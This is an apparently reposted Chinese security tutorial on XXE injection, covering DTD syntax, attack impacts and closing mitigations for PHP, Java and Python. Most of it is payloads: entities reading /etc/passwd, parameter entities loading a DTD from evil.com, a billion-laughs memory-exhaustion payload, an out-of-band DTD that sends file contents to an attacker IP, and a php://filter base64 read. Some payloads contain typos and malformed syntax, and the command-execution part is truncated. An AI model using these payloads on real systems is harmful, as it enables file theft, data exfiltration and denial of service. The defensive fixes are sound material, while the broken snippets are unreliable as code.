若想深入研究,可学习下XML语法规则:
https://www.runoob.com/xml/xml-syntax.html
DTD-文档类型定义
作用:定义合法的XML文档构建模块
使用方式:
1.内部声明DTD:<!DOCTYPE 根元素[元素声明]>
2.外部引用DTD:<!DOCTYPE 根元素 SYSTEM "外部DTD的url">
3.引用公共DTD:<!DOCTYPE 根元素 PUBLIC "DTD标识名" "公用的DTD的URL">
引用外部实体函数
.<!ENTITY 实体名称 SYSTEM "URL">
.<!ENTITY 实体名称 PUBLIC "public_ID" "URL">
漏洞的危害:
任意文件读取
列目录
执行系统命令
内网端口探测
文件上传(jar协议)
攻击内网网址
利用方式
1.通过file协议使用SYSTEM引用外部实体
<?xml version="1.0">
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "file://etc/passwd">]>
<result>&xxe;</result>
#&xxe:调用xxeb变量执行SYSTEM后的语句。
2.通过参数实体(%实体名称)来引入外部实体,自身执行%dtd
<?xml version="1.0">
<!DOCTYPE a[
<!ENTITY %dtd SYSTEM "http://evil.com/evil.dtd">%dtd;]>
<result>&b;</result>
#第一个是设置%dtd 第二个是自执行
3.DTD自身就支持调用外部的DTD文件
<?xml version="1.0">
<!DOCTYPE a SYSTEM "http://evil.com/evil.dtd">
<c>&a;</c>
*以上适用到的evil.dtd文件内容
4.xml注入危害:拒绝服务
进行递归引用,从下至上以指数形式增多,实验发现,小于1k的xml攻击payload可以消耗3g内存
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
无回显时任意文件读取
当无法直接获取响应内容,可将获取内容发送到远程服务器
第一步在攻击者服务器搭建可访问的DTD文件,内容如下:
<!ENTITY %file SYSTEM "file://etc/passwd">
<!ENTITY %request "<!ENTITY foo SYSTEM 'http://your.ip/id=%file;'>">
%request;
第二步,构造攻击请求,并接收到返回的文件内容
POST /login HTTP/1.1
Host:10.0.0.1
content-Type:text/xml
<?xml version="1.0" encoding="UTF-8">
<title>foo</title>
任意文件读取案例
避免数据不完整所以可以通过php:// 流来将读取的文件内容进行Base64编码
php://filter/read=convert.base64-encode/resource=资源位置
$xml = <<<EOF
<?xml version="1.0"?>
<!DOCTTYPE ANY[
<!ENTITY xxe SYSTEM 'php://filter/read=convert.base64-encode/resource=E:/xxe.php'>]>
<result>&xxe;</result>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
EXCEPT命令执行
<dir>
<file>&cmd;</file>
</dir>
脚本默认支持的外部实体协议
漏洞修复
1、禁用外部实体
PHP:libxml_disable_entity_loader(true);
Java:DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
其它语言:https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
2.过滤关键字,如<!DOCTYPE 、<!ENTITY、SYSTEM和PUBLIC等
原文始发于微信公众号(菜鸟小新):【笔记】XML注入实体记录总结
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论